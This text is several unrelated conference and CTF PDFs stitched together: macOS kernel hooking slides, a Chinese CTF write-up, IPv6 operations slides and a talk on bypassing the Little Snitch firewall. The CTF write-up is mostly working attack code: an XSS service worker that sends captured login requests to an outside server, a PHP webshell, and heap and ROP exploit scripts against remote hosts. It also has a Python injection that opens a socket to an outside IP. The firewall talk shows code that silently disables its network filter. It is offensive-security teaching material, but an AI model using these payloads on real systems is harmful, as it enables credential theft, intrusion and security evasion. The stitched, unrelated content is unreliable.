--service-request-channel-token=71817BF160E4E08DED68923CAC77F607 --renderer-client-id=9. DEMO : macOS Kernel Agent Kernel Authorization Technical Note TN2127 https://developer.apple.com/library/content/technotes/tn2127/_index.html https://v2dev.sartle.com/sites/default/files/images/blog/tumblr_inline_nhtxaveT4p1sthg2o.jpg Kernel Call Stack/Disassembler Library -*> MEMORY DUMP <*- +---------------------+--------------------------------------+-------------------+ | ADDRESS | 7 6 5 4 3 2 1 0 F E D C B A 9 8 | 0123456789ABCDEF | | --------------------+--------------------------------------+------------------ | | 0xffffff806c17bba0 | ffffff80`6c17bc00 ffffff80`0cd45f23 | ...l....#_...... | | 0xffffff806c17bbb0 | 00000000`00000000 ffffff80`12e11000 | ................ | | 0xffffff806c17bbc0 | ffffff80`1329c710 ffffff80`12e11000 | ..)............. | | 0xffffff806c17bbd0 | 00000016`d51f0016 ffffff80`0d0832d0 | .........2...... | | 0xffffff806c17bbe0 | ffffff80`135e2a08 00000000`00000000 | .*^............. | | 0xffffff806c17bbf0 | ffffff80`1c290878 ffffff80`1c290808 | x.).......)..... | | 0xffffff806c17bc00 | ffffff80`6c17bcb0 ffffff80`0cd6536d | ...l....mS...... | | 0xffffff806c17bc10 | ffffff80`00000008 ffffff80`1329c710 | ..........)..... | | 0xffffff806c17bc20 | ffffff80`6c17bc68 ffffff80`15c7ba78 | h..l....x....... | | 0xffffff806c17bc30 | ffffff80`15c7bad0 ffffff80`15c7ba78 | ........x....... | | 0xffffff806c17bc40 | 00000000`00000000 ffffff80`135e2a00 | .........*^..... | | 0xffffff806c17bc50 | 00000000`00000001 ffffff80`15c7ba78 | ........x....... | | 0xffffff806c17bc60 | ffffff80`67453010 00000000`00000000 | .0Eg............ | | 0xffffff806c17bc70 | ffffff80`67453010 ffffff80`0cd54aa6 | .0Eg.....J...... | | 0xffffff806c17bc80 | 3ec19f54`d51f0016 ffffff80`1c290800 | ....T..>..)..... | | 0xffffff806c17bc90 | 00000000`00000000 00000000`00000000 | ................ | | 0xffffff806c17bca0 | ffffff80`1c290808 ffffff80`15c7ba78 | ..).....x....... | | 0xffffff806c17bcb0 | ffffff80`6c17bf50 ffffff80`0cd638de | P..l.....8...... | | 0xffffff806c17bcc0 | ffffff80`6c17bf18 ffffff80`16f82058 | ...l....X ...... | | 0xffffff806c17bcd0 | ffffff80`6c17bd70 ffffff80`15029000 | p..l............ | | 0xffffff806c17bce0 | 00000000`0000400c 00000001`6c17bce8 | .@.........l.... | | 0xffffff806c17bcf0 | ffffff80`1c290800 00000000`00000001 | ..)............. | | 0xffffff806c17bd00 | 00007f8e`2a193338 ffffff80`15029040 | 83.*....@....... | | 0xffffff806c17bd10 | 00000000`00000000 ffffff80`1c290808 | ..........)..... | | 0xffffff806c17bd20 | ffffff80`15c7ba78 00000000`00000001 | x............... | | 0xffffff806c17bd30 | ffffff80`15c7ba78 00000000`00000800 | x............... | | 0xffffff806c17bd40 | ffffff80`6c17be70 00000000`000000f6 | p..l............ | +---------------------+--------------------------------------+-------------------+ [Agent.kext] : Disassemble the exec_activate_image(). (01) 55 PUSH RBP (03) 4889e5 MOV RBP, RSP (02) 4157 PUSH R15 (02) 4156 PUSH R14 (02) 4155 PUSH R13 (02) 4154 PUSH R12 (01) 53 PUSH RBX (04) 4883ec78 SUB RSP, 0x78 (03) 4989ff MOV R15, RDI .... Mandiant Monitor.app/osxAgent Documented data structure image_params: https://developer.apple.com/reference/kernel/image_params https://www.fireeye.com/services/freeware/monitor.html Mandatory Access Control Framework Technical Q&A QA1574 https://developer.apple.com/library/content/qa/qa1574/_index.html https://github.com/apple/darwin-xnu/blob/xnu-4570.1.46/security/mac_policy.h#L84 https://github.com/apple/darwin-xnu/blob/xnu-4570.1.46/security/mac_base.c#L778 https://github.com/apple/darwin-xnu/blob/xnu-4570.1.46/security/mac_base.c#L782 https://v2dev.sartle.com/sites/default/files/images/blog/tumblr_inline_nhtxaveT4p1sthg2o.jpg Mandiant Monitor.app/osxAgent (lldb) di -b -n OSKext::start kernel.development`OSKext::start: 0xffffff800ce1aa00 <+0>: 55 pushq %rbp 0xffffff800ce1aa01 <+1>: 48 89 e5 movq %rsp, %rbp 0xffffff800ce1aa04 <+4>: 41 57 pushq %r15 0xffffff800ce1aa06 <+6>: 41 56 pushq %r14 0xffffff800ce1aa08 <+8>: 41 55 pushq %r13 0xffffff800ce1aa0a <+10>: 41 54 pushq %r12 0xffffff800ce1aa0c <+12>: 53 pushq %rbx 0xffffff800ce1aa0d <+13>: 48 83 ec 28 subq $0x28, %rsp 0xffffff800ce1aa11 <+17>: 41 89 f6 movl %esi, %r14d 0xffffff800ce1aa14 <+20>: 49 89 ff movq %rdi, %r15 0xffffff800ce1aa17 <+23>: 49 8b 07 movq (%r15), %rax .................. 0xffffff800ce1adfd <+1021>: 4c 8b 65 c0 movq -0x40(%rbp), %r12 0xffffff800ce1ae01 <+1025>: 49 8b 7f 48 movq 0x48(%r15), %rdi 0xffffff800ce1ae05 <+1029>: 4c 89 e6 movq %r12, %rsi 0xffffff800ce1ae08 <+1032>: ff 55 b0 callq *-0x50(%rbp) .................. 0xffffff800ce1ae60 <+1120>: 5b popq %rbx 0xffffff800ce1ae61 <+1121>: 41 5c popq %r12 0xffffff800ce1ae63 <+1123>: 41 5d popq %r13 0xffffff800ce1ae65 <+1125>: 41 5e popq %r14 0xffffff800ce1ae67 <+1127>: 41 5f popq %r15 0xffffff800ce1ae69 <+1129>: 5d popq %rbp 0xffffff800ce1ae6a <+1130>: c3 retq Kernel Kext Driver Entry Kernel Inline Hook ( the OSKext::start ) http://simpsons.wikia.com/wiki/File:Woo_hoo!_poster.jpg (lldb) di -b -n OSKext::start kernel.development`OSKext::start: 0xffffff800ce1aa00 <+0>: 55 pushq %rbp 0xffffff800ce1aa01 <+1>: 48 89 e5 movq %rsp, %rbp 0xffffff800ce1aa04 <+4>: 41 57 pushq %r15 0xffffff800ce1aa06 <+6>: 41 56 pushq %r14 0xffffff800ce1aa08 <+8>: 41 55 pushq %r13 0xffffff800ce1aa0a <+10>: 41 54 pushq %r12 0xffffff800ce1aa0c <+12>: 53 pushq %rbx 0xffffff800ce1aa0d <+13>: 48 83 ec 28 subq $0x28, %rsp 0xffffff800ce1aa11 <+17>: 41 89 f6 movl %esi, %r14d 0xffffff800ce1aa14 <+20>: 49 89 ff movq %rdi, %r15 0xffffff800ce1aa17 <+23>: 49 8b 07 movq (%r15), %rax .................. 0xffffff800ce1adfd <+1021>: 4c 8b 65 c0 movq -0x40(%rbp), %r12 0xffffff800ce1ae01 <+1025>: 49 8b 7f 48 movq 0x48(%r15), %rdi 0xffffff800ce1ae05 <+1029>: 4c 89 e6 movq %r12, %rsi 0xffffff800ce1ae08 <+1032>: ff 55 b0 callq *-0x50(%rbp) .................. 0xffffff800ce1ae60 <+1120>: 5b popq %rbx 0xffffff800ce1ae61 <+1121>: 41 5c popq %r12 0xffffff800ce1ae63 <+1123>: 41 5d popq %r13 0xffffff800ce1ae65 <+1125>: 41 5e popq %r14 0xffffff800ce1ae67 <+1127>: 41 5f popq %r15 0xffffff800ce1ae69 <+1129>: 5d popq %rbp 0xffffff800ce1ae6a <+1130>: c3 retq Pre Callback Post Callback Inline Hook Handler Kernel Kext Driver Entry Pre and Post Callback Handler DEMO : Pre and Post Kernel Inline Hook macOS Kernel Debugging Kernel Debugging is an Interesting Topic Kernel Debugging is an Interesting Topic iOS Kernel Debugging iOS Kernel Exploitation, Black Hat Europe 2011 A Smooth Sea Never Made A Skilled Sailor A Smooth Sea Never Made A Skilled Sailor https://github.com/kashifmin/KashKernel_4.2/blob/master/mediatek/platform/mt6589/kernel/drivers/mmc-host/mt_sd_misc.c#L990 Android/Linux Kernel Debugging comma.ai/George Hotz From Panics to Kernel Zero-day Vulnerabilities well, well, well… kernel panics lldb Kernel Debugging, Session 707, WWDC 2012 Real War is Not a Game GCC compiler (with the "-kext" and "-lkmod" arguments) llvm clang compiler DEMO : Arbitrary Kernel Memory Read/Write Zero-day Vulnerabilities DEMO : Arbitrary Kernel Memory Read/Write Zero-day Vulnerabilities DEMO : Arbitrary Kernel Memory Read/Write Zero-day Vulnerabilities The End Think Deeply Q&A wang yu Didi Research America
pdf
西湖论剑 WP-Nu1L WEB HardXSS 网站就 dns 爆破 + 提交 xss + 管理员登录三个功能, 用了两个域名`xss.xss.` , `auth.xss.` 题目有句话 `我收到邮件后会先点开链接然后登录我的网站!` , 这么一看这个题应该是需要作 一个 xss 持久化的. xss 持久化就两种方式 serviceworker, 和 cache. cache 在这个题目里面没 法控制, 所以就得 serviceworker. 要用 serviceworker 就得找一个能 xss 的点, 去注册这个 serviceworker. 这里我们看代码发现一个 jsonp, 而且没有过滤, 于是就用这个路由做 xss, 代码就不分析了, 反正就是调用 jsonp 没过滤, 后面也要用到. https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(atob(lala))//&lala=YWxlc nQoMSk%3d 因为登录用到的用户名密码是传输到了 auth.xss.这个域名, 如果要注册 serviceworker, 需要 serviceworker 的 js 在 auth.xss.这个域名下, 也就是需要这个域名下的一个可控的点去放 serviceworker 的 js. 也就是我们上面发现的 jsonp 的这个点 https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginStatus?callback=50chars 这里有 50 个字符的限制, 但是我们可以把真实的 payload 放到我们服务器上, 让 serviceworker 去 import 第一个 js navigator.serviceWorker.register("https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginS tatus?callback=importScripts('//d7cb7b72.y7z.xyz/xhlj2.js');//") 第二个 js self.addEventListener('fetch', function (event) { var url = event.request.clone(); body = '<script>fetch("https://d7cb7b72.y7z.xyz/?'+btoa(url.url)+'").then(function (resp){console.log(resp)})</script>'; init = {headers: { 'Content-Type': 'text/html' }}; if(url.url.startsWith('https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginVerify')){ res = new Response(body,init); event.respondWith(res.clone()); } }); 最后一个问题就是 serviceworker 在注册的时候必须是同源的页面才能注册上 访问 auth.xss.这个域名, 可以看到在主页上有一个 document.domain="xss."的一个操作. 那么就可以联想到跨域的操作里面有一个就是利用 document.domain 和 iframe 去做的. 那 么我们就可以利用之前找到的 xss 去实现这个操作. https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(atob(lala))//&lala=ZG9jd W1lbnQuZG9tYWluID0gInhzcy5lZWM1YjIuY2hhbGxlbmdlLmdjc2lzLmNuIjsKaWZyYW 1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7CmlmcmFtZS5zcmM9Im h0dHBzOi8vYXV0aC54c3MuZWVjNWIyLmNoYWxsZW5nZS5nY3Npcy5jbiI7CiQoJ2JvZ HknKS5hcHBlbmQoaWZyYW1lKTsKaWZyYW1lLm9ubG9hZCA9IGZ1bmN0aW9uKCkge wogICAgZG9jID0gaWZyYW1lLmNvbnRlbnREb2N1bWVudDsKICAgIHNjciA9IGRvYy5jc mVhdGVFbGVtZW50KCJzY3JpcHQiKTsKICAgIHNjci5zcmM9Imh0dHBzOi8vbWh6LnB3L zJkIjsKICAgIGRvYy5ib2R5LmFwcGVuZChzY3IpOwp9 document.domain = "xss.eec5b2.challenge.gcsis.cn"; iframe = document.createElement("iframe"); iframe.src="https://auth.xss.eec5b2.challenge.gcsis.cn"; $('body').append(iframe); iframe.onload = function() { doc = iframe.contentDocument; scr = doc.createElement("script"); scr.src="https://mhz.pw/2d"; // 加载 serviceworker doc.body.append(scr); } 这样我们就在 auth.xss.的那个页面上注册了我们的 serviceworker, 之后再有 get 请求的时候 我们可以通过 serviceworker 的 js 去捕获到这个链接, 然后就拿到了用户名密码. 登录上去就是 flag. FlagShop 任意文件读取 view-source:http://shop.65160a.challenge.gcsis.cn/sandbox/64fc54bc-b221-44cd- 938e-a562bdb28695/backend.php?readfile=backend.php 源码如下: <?php $offset = isset($_GET['offset']) ? $_GET['offset'] : 0; $buffer = isset($_GET['buffer']) ? $_GET['buffer'] : ""; if (isset($_GET['writefile'])) { $fp = fopen($_GET['writefile'], "a"); fseek($fp, $offset); fwrite($fp, $buffer); fclose($fp); } if (isset($_GET['readfile'])) { echo file_get_contents($_GET['readfile']); } 一看用的 fseek,参考脚本: https://github.com/beched/php_disable_functions_bypass/blob/master/procfs_bypass .php 地址需要算一下,发现弹不了 shell,只能将执行结果写到文件中,最终 payload: backend.php?readfile=/bin/bash%20- c%20"/readflag%20>%20/tmp/vvvvv"&writefile=/proc/self/mem&offset=15333784& buffer=%90e%F8%F5%FF%7F%00%00&writefile=/proc/self/mem&offset=15333784& buffer=%90e%F8%F5%FF%7F%00%00 EasyJson http://easyjson.f7f8eb.challenge.gcsis.cn/?source=12&action=write&filename=f.php {"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003C\u003F\u0070\u0068\u00 70\u0020\u0040\u0065\u0076\u0061\u006C\u0028\u0024\u005F\u0050\u004F\u005 3\u0054\u005B\u0031\u005D\u0029\u003B\u003F\u003E"} PWN mmutag from pwn import * p = process('./mmutag') p = remote('183.129.189.62',57004) libc = ELF('./libc.so.6') p.recvuntil('name') p.sendline('aaa') p.recvuntil('choice') p.sendline('2') p.recvuntil('choise') p.sendline('3') p.send('aaaaaaa\n') p.recvuntil('aaaaaaa\n') addr = u64(p.recv(6).ljust(8,'\x00')) print hex(addr) p.recvuntil('choise') p.sendline('3') p.send('a'*0x18+'\n') p.recvuntil('a'*0x18+'\n') canary = '\x00'+p.recv(7) print hex(u64(canary)) p.recvuntil('choise') p.sendline('3') p.send(p64(0x71)*2+p64(0)+canary) def add(idx,mess): p.recvuntil('choise:') p.sendline('1') p.recvuntil('id') p.sendline(str(idx)) p.recvuntil('content') p.send(mess) def dele(idx): p.recvuntil('choise:') p.sendline('2') p.recvuntil('id') p.sendline(str(idx)) add(1,'aaaa\n') add(2,'bbbb\n') add(3,'cccc\n') dele(1) dele(2) dele(1) target = addr-0x20 add(4,p64(target)+'\n') add(5,p64(target)+'\n') add(6,p64(target)+'\n') pop_rdi = 0x0000000000400d23 pop_rsi_r15=0x0000000000400d21 rop = p64(0x71)+canary+p64(0xdeadbeef)+p64(pop_rdi)+p64(0x602018)+p64(0x4006B0)+p64(pop_rdi)+p64(0) +p64(pop_rsi_r15)+p64(0x000602058)+p64(0)+p64(0x4006F0)+p64(0x0400BF1) add(7,rop) p.recvuntil('choise:\n') raw_input() p.sendline('4') addr = u64(p.recv(6).ljust(8,'\x00')) print hex(addr) libc_base = addr-( 0x7f4033b2b540-0x7f4033aa7000) system = libc_base+libc.sym['system'] p.sendline(p64(system)) p.recvuntil('name') p.sendline('sh') p.recvuntil('choice') p.sendline('sh') p.interactive() ezhttp from pwn import * #p = process('ezhttp') p = remote('183.129.189.62',62102) def http_req(method, url, payload=None): req = '%s %s HTTP/1.1\n' % (method, url) if (method == 'POST' and payload != None): req += 'Content-Type: application/json\n' req += 'Content-Length: %d\n' % len(payload) req += 'Connection: Keep-Alive\n' req += 'Cookie: user=admin\n' req += 'token: \r\n\r\n' req += '%s\n' % payload else: req += '\r\n' return req def create(content): pay = http_req('POST','/create','content='+content) p.send(pay) p.recvuntil('ok') def dele(idx): pay = http_req('POST','/del','index='+str(idx)) p.send(pay) p.recvuntil('Delete success!') def edit(idx,content): pay = http_req('POST','/edit','index='+str(idx)+'&content='+content) p.send(pay) p.recvuntil('ok') pay1 = http_req('POST','/create','content='+'a'*0xa0)#0 p.send(pay1) p.recvuntil('Your gift: 0x') addr = int(p.recvuntil('\"')[:-1],16) print hex(addr) heap_addr = addr create('b'*0xa0)#1 create('a'*0x30)#2 create('a'*0xf0)#3 for i in range(7): dele(1) dele(0) a = 0xe7#int(raw_input("a"),16) create('\x60'+chr(a))#4 dele(2) dele(2) create('a'*0x30)#5 edit(5,p64(addr)) create('\x60'+chr(a))#6 create('a'*0x30)#7 create('a'*0x30)#8 create(p64(0xfffffffffbad2887)+'a'*0x28)#9 pay = http_req('POST','/edit','index='+str(9)+'&content='+(p64(0xfbad3c80)+p64(0)*3+p8(0))) p.send(pay) p.recvuntil('\x00'*8) addr = u64(p.recv(8)) print hex(addr) libc_base=addr - (0x00007f01810478b0-0x7f0180c5a000) print hex(libc_base) pop_rdi = 0x000000000002155f +libc_base syscall = 0x00000000000d29d5 +libc_base pop_rax = 0x0000000000043a78 +libc_base pop_rdx = 0x0000000000001b96 +libc_base pop_rsi = 0x0000000000023e8a+libc_base create('a'*0xa0)#10 edit(10,p64(4118760+libc_base)) create('a'*0xa0)#11 create('a'*0xa0)#12 free_hook edit(12, p64(libc_base +0x52145)) raw_input("xxx") edit(3,('flag\x00\x00\x00\x00').ljust(0x68,'\x00')+p64(heap_addr+(0x400-0x260))+p64(0)+'\x00'*(0xa0- 0x70-8)+p64(heap_addr+(0x310-0x260))+p64(pop_rax)) edit(11,p64(2)+p64(syscall)+p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(heap_addr+(0x410- 0x260))+p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(heap_addr+(0x410-0x260))+p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(1)+p64(syscall)) pay = http_req('POST','/del','index='+str(3)) p.send(pay) p.interactive() managesystem from pwn import * #p = process(['./qemu-mipsel-static' , '-L', '.' ,'./ms']) p = remote('183.129.189.61',51603) def add(size,mess): p.recvuntil('>>') p.sendline('1') p.recvuntil('length') p.sendline(str(size)) p.recvuntil('info') p.send(mess) def dele(idx): p.recvuntil('>>') p.sendline('2') p.recvuntil('user') p.sendline(str(idx)) def edit(idx,mess): p.recvuntil('>>') p.sendline('3') p.recvuntil('edit') p.sendline(str(idx)) p.recvuntil('info') p.send(mess) add(0x64,p32(0)+p32(0x65)+p32(0x411830-12)+p32(0x411830-8)+'\n') add(0x60,'aaaa\n') add(0x20,'a\n') print "wait" edit(0,(p32(0)+p32(0x61)+p32(0x411830-12)+p32(0x411830-8)).ljust(0x60,'\x00')+p32(0x60)+p32(0x68)) dele(1) edit(0,p64(0)+p32(0x411830)+p32(0x100)+p32(0x04117B4)+p32(0x100)) p.recvuntil('>>') p.sendline('4') p.recvuntil('show') p.sendline('1') p.recvuntil('info: ') addr = u32(p.recv(4)) print hex(addr) libc_base = addr-0x56b68 system = libc_base+0x5f8f0 print hex(libc_base) edit(1,p32(system)+'\n') add(0x18,'/bin/sh\n') dele(3) p.interactive() RE flow #include <stdio.h> #include <stdint.h> void encrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0, i; uint32_t delta = 0x9e3779b9; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i < 32; i++) { sum += delta; v1 += ((v0 << 4) + k0) ^ (v0 + sum) ^ ((v0 >> 5) + k1); v0 += ((v1 << 4) + k2) ^ (v1 + sum) ^ ((v1 >> 5) + k3); } v[0] = v0; v[1] = v1; } void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; uint32_t delta = 0x9e3779b9; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i < 32; i++) { v0 -= ((v1 << 4) + k2) ^ (v1 + sum) ^ ((v1 >> 5) + k3); v1 -= ((v0 << 4) + k0) ^ (v0 + sum) ^ ((v0 >> 5) + k1); sum -= delta; } v[0] = v0; v[1] = v1; } int main() { uint8_t k8[] = { 0x61,0x73,0x75,0x79,0x73,0x64,0x79,0x79,0xEF,0xBE,0xAD,0xDE,0x14,0x45,0x11,0xAA }; uint32_t* k = (uint32_t*)k8; uint8_t tmp[] = { 0x5c, 0xe3, 0x9b, 0x18, 0x1a, 0x83, 0x9, 0x11, 0x74, 0x8, 0x53, 0x3e, 0xeb, 0x98, 0x88, 0x4b ,0 }; uint32_t* v = (uint32_t*)tmp; for (int i = 0; i < 2; i++) { decrypt(v + i * 2, k); } uint8_t tbl[] = { 0x60,0xcf,0xb4,0xe7,0x52,0x33,0x98,0xe6,0xc0,0xb5,0x1d,0x08,0x8a,0xe2,0x5e,0x86 }; for (int i = 0; i < 16; i++) { printf("%02x", tmp[i] ^ tbl[i]); } return 0; } loader 把批处理里面后面几句加上 echo,可以发现密码 114514 分析程序,程序获取密码解密 code,之后加载 code 中的代码并且执行,直接在程序获取输 入的时候停下来,之后不断回溯,即可找到关键验证函数 在 ida 里面分析发现是个逐位亦或,直接逆回去即可 en_flag = '02 0D 6A 1A 27 7F 32 65 86 A5 C5 D7 CF DD E3 98 3D 79 53 6A 18 54 37 14 A9 E0 82 B2 CE 80 C D 8C'.replace(' ','').decode('hex') s = 'PEFile' res = '' for i in xrange(32): res += chr(ord(en_flag[i]) ^ (((i|0xe3) + ord(s[i%6]))&0xff) ^ ((16*i)&0xff)) Misc Yusa_yyds xbox 手柄振动报文,振动几次停 2s,114514 md5 即可 Crypto CTF 小白的密码系统 程序通过 eval 来 parse 数据,直接在输入 iv 的时候 rce 即可 114514 if exec("import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((\\"123. 207.228.51\\",23333));s.send(flag.encode())") else 114514 BrokenSystems wiener attack 恢复 d 直接解即可
pdf
IPv6@ARIN Matt Ryanczak Network Operations Manager IPv6 Timeline IETF starts thinking about successors to IPv4. 1990 IETF forms IPNG area RFC 1475 TP/IX RFC 1550 IPng Paper Solicitation 1993 RFC1817 CIDR and Classful Routing RFC 1883 Draft IPv6 Spec 1995 6bone started RFC 1970 Neighbor Discovery RFC 1971 Address Autoconfig 1996 RFC 3775 IPv6 mobility RFC3697 Flow Label Spec RFC 2471 6bone phase out 2004 RFC 5095 Deprecation of Type 0 Routing Headers RFC 4942 IPv6 Security Considerations 2007 RFC 5722 Handling of overlappingIPv6 fragments 2009 RFC 5871 IANA Allocation Guidelines for the IPv6 Routing Header 2010 RFC 3315 DHCPv6 RFC 2553 Basic Socket Interface Extensions 2003 What happened to IPv5? The Internet Stream Protocol (ST, ST2, ST+) • First developed in the late 1970s (Internet Engineering Note 119, 1979) • Designed to transmit voice and other real time applications • Guaranteed bandwidth, QOS • Set the version field in IP header to 5 • ST2 and ST+ saw interest from IBM, Sun and others in to the 1990s There were a lot of potential replacements for IPv4: RFC 1752 Recommendation for the IP Next Generation Protocol (Pv6) RFC 1475: TP/IX: The Next Internet (IPv7) RFC 1621: PIP - The P Internet Protocol (IPv8) RFC 1374: TUBA - TCP and UDP with Bigger Addresses (IPv9) RFC 1606: A Historical Perspective On The Usage Of IP Version 9 ARIN IPv6 Timeline Sprint IPv6 WWW, DNS, FTP Worldcom IPv6 WWW, DNS, FTP Equi6IX IPv6 WWW, DNS, FTP, V6 Peering NTT | Tinet IPv6 Whois, DNS, IRR, Peering 2003: Sprint • T1 via Sprint • Linux Router with Sangoma T1 Card • OpenBSD firewall • Linux-based WWW, DNS, FTP servers • Segregated network no dual stack (security concerns) • A lot of PMTU issues • A lot of routing issues • Service has gotten better over the years 2004: Worldcom • T1 via Worldcom to Equinix • Cisco 2800 router • OpenBSD firewall • Linux-based WWW, DNS, FTP servers • Segregated network no dual stack (security concerns) • A lot of PMTU Issues • A lot of routing issues 2006: Equi6IX • 100 Mbit/s Ethernet to Equi6IX • Transit via OCCAID • Cisco router • OpenBSD firewall • WWW, DNS, FTP, SMTP • Segregated -> dual stack 2008: NTT / TiNet IPv6 • 1000 Mbit/s to NTT / TiNet • Cisco ASR 1000 Router • Foundry Load Balancers - IPv6 support was Beta • DNS, Whois, IRR, more later • Dual stack • Stand Alone Network Meeting Networks • IPv6 enabled since 2005 • Tunnels to ARIN, others • Testbed for transition tech • NAT-PT (Cisco, OSS) • CGN / NAT-lite • Training opportunity • For staff & members How much IPv6 Traffic? Whois .12% So what about Security? • Many things are the same, but different • There are many unknowns, new territory! • Built in (in)security features • Multiple protocol == multiple policies More Protocols, More Problems IPv4 and IPv6 are not the same • IPv4 features != IPv6 features • IPv6 does not have ARP. It uses ICMPv6 • ICMPv6 is critical to IPv6 functionality • DHCPv6 / router advertisement More Protocols, More Problems Hardware / Software support is less than ideal • Application and OS behavior inconsistent • Firewalls, IDS, etc. have weak IPv6 support • Switches, load balancers also lack support Security Through Obscurity • IPv6 has been in many OSes for 10+ years • Stacks are not battle tested • Applications are not well tested • Stack smashing? Buffer overflows? • Many unknowns in IPv6 implementations Security Through Obscurity • Exploits are not well known either • Difficult to scan IPv6 networks with current tools • Hard to guess addresses • Black & White hats starting over (again) Built(in)Security Features • IPsec ESP is built-in • IPSec AH is built-in • Easy VPNs • Enhanced routing security • Application layer security Built-in (in)Security Features • ESP can make DPI difficult • AH hard to configure / maintain • IPv6 enabled backdoor, trojans, etc. • No NAT? How to hide those networks? • IPv6 address types complex and confusing Cross Contamination • Multiple stacks, multiple targets • Maintaining policy parity is difficult • Applications lack feature parity • Appliances lack feature parity Lessons Learned: Implementation • Tunnels are less desirable than native • Not all transit is equal • Routing is not as reliable • Dual stack is not so bad • Proxies are good for transition • Native support is better • DHCPv6 is not well supported • Reverse DNS is a pain • Windows XP is broken but usable • Bugging vendors does work! Lessons Learned: Implementation • Dual stack makes policy more complex • IPv6 security features double-edged sword • Security vendors behind on IPv6 • IPv6 stacks are relatively untested • A whole new world for hackers to explore Lessons Learned: Security • Understanding ICMPv6 is a must • Fragmentation is very different in IPv6 • Multicast is an attack and discovery vector • Read RFC 4942! Lessons Learned: Security Thank You
pdf
@patrickwardle I got 99 Problems, but 
 Little Snitch ain’t one! WHOIS “leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints” @patrickwardle security for the 21st century career hobby making little snitch our b!tch OUTLINE understanding bypassing reversing owning little snitch
 versions < 3.6.2 apple os x 10.11 note: UNDERSTANDING LITTLE SNITCH …a brief overview the de-facto host firewall for macOS LITTLE SNITCH "Little Snitch intercepts connection attempts, and lets you decide how to proceed." -www.obdev.at little snitch alert in the news (red team vs. palantir) the puzzle pieces LITTLE SNITCH COMPONENTS ring-0 ring-3 (root session) LittleSnitch.kext Little Snitch Daemon Little Snitch Configuration Little Snitch Agent › network, process monitoring 'authentication' › › rules management › rules management preferences › › ui alerts ring-3 (user/UI session) ring-0 bug BYPASSING LITTLE SNITCH undetected data exfil IMHO; such bypasses aren't bugs or 0days abusing system rules to talk to iCloud LITTLE SNITCH BYPASS 0X1 iCloud little snitch's iCloud rule o rly!?...yes! un-deletable system rule: "anybody can talk to iCloud" abusing 'proc-level' trust LITTLE SNITCH BYPASS 0X2 $/python/dylibHijackScanner.py// GPG/Keychain/is/vulnerable/(weak/rpath'd/dylib)/ 'weak/dylib':////'/Libmacgpg.framework/Versions/B/Libmacgpg'// 'LC_RPATH'://////'/Applications/GPG/Keychain.app/Contents/Frameworks' undetected exfil/C&C "Using Process Infection to Bypass Windows Software Firewalls" -Phrack,/'04 gpg keychain; allow all dylib hijack 'injection' stop the network filter LITTLE SNITCH BYPASS 0X3 ring-0 method 0xB disable: 0x0 ring-3 LittleSnitch.kext //connect & authenticate to kext // ->see later slides for details :) //input // ->set to 0x0 to disable uint64_t input = 0x0; //stop network filter IOConnectCallScalarMethod(connectPort, 0xB, &input, 0x1, NULL, NULL); 'invisible' to UI //input // ->disable is 0x0 if( (0xB == method) && (0x0 == scalarInput) ) { //disable filter! } 'stop network filter' REVERSING LITTLE SNITCH poking on the kext's interface /Library/Extensions/LittleSnitch.kext LITTLE SNITCH'S KEXT $/less/LittleSnitch.kext/Contents/Info.plist/ <?xml/version="1.0"/encoding="UTF-8"?>/ <plist/version="1.0">/ <dict>/ ///<key>CFBundleExecutable</key>/ ///<string>LittleSnitch</string>/ ///<key>CFBundleIdentifier</key>/ ///<string>at.obdev.nke.LittleSnitch</string>/ ///<key>CFBundlePackageType</key>/ ///<string>KEXT</string>/ ///<key>IOKitPersonalities</key>/ ///<dict>/ //////<key>ODLSNKE</key>/ //////<dict>/ /////////<key>CFBundleIdentifier</key>/ /////////<string>at.obdev.nke.LittleSnitch</string>/ /////////<key>IOClass</key>/ /////////<string>at_obdev_LSNKE</string>/ /////////<key>IOMatchCategory</key>/ /////////<string>at_obdev_LSNKE</string>/ /////////<key>IOProviderClass</key>/ /////////<string>IOResources</string>/ /////////<key>IOResourceMatch</key>/ /////////<string>IOBSD</string>/ //////</dict>/ ///</dict>/ .../ kext's Info.plist file i/o kit signing info XNU's device driver env I/O KIT self-contained, runtime environment implemented in C++ object-oriented › "Mac OS X and iOS Internals"
 "OS X and iOS Kernel Programming" 
 "IOKit Fundamentals" (apple.com) #include <IOKit/IOLib.h> #define super IOService OSDefineMetaClassAndStructors(com_osxkernel_driver_IOKitTest, IOService) bool com_osxkernel_driver_IOKitTest::init(OSDictionary* dict) { bool res = super::init(dict); IOLog("IOKitTest::init\n"); return res; } IOService* com_osxkernel_driver_IOKitTest::probe(IOService* provider, SInt32* score) { IOService *res = super::probe(provider, score); IOLog("IOKitTest::probe\n"); return res; } bool com_osxkernel_driver_IOKitTest::start(IOService *provider) { bool res = super::start(provider); IOLog("IOKitTest::start\n"); return res; } ... $/sudo/kextload/IOKitTest.kext/ $/grep/IOKitTest//var/log/system.log/ /users-Mac/kernel[0]:/IOKitTest::init/ /users-Mac/kernel[0]:/IOKitTest::probe/ /users-Mac/kernel[0]:/IOKitTest::start load kext; output i/o kit resources › › › sample i/o kit driver 'inter-ring' comms I/O KIT serial port driver open(/dev/xxx) read() / write() other i/o kit drivers find driver; then: I/O Kit Framework read/write 'properties' send control requests "The user-space API though which a process communicates with a kernel driver is provided by a framework known as 'IOKit.framework'" 
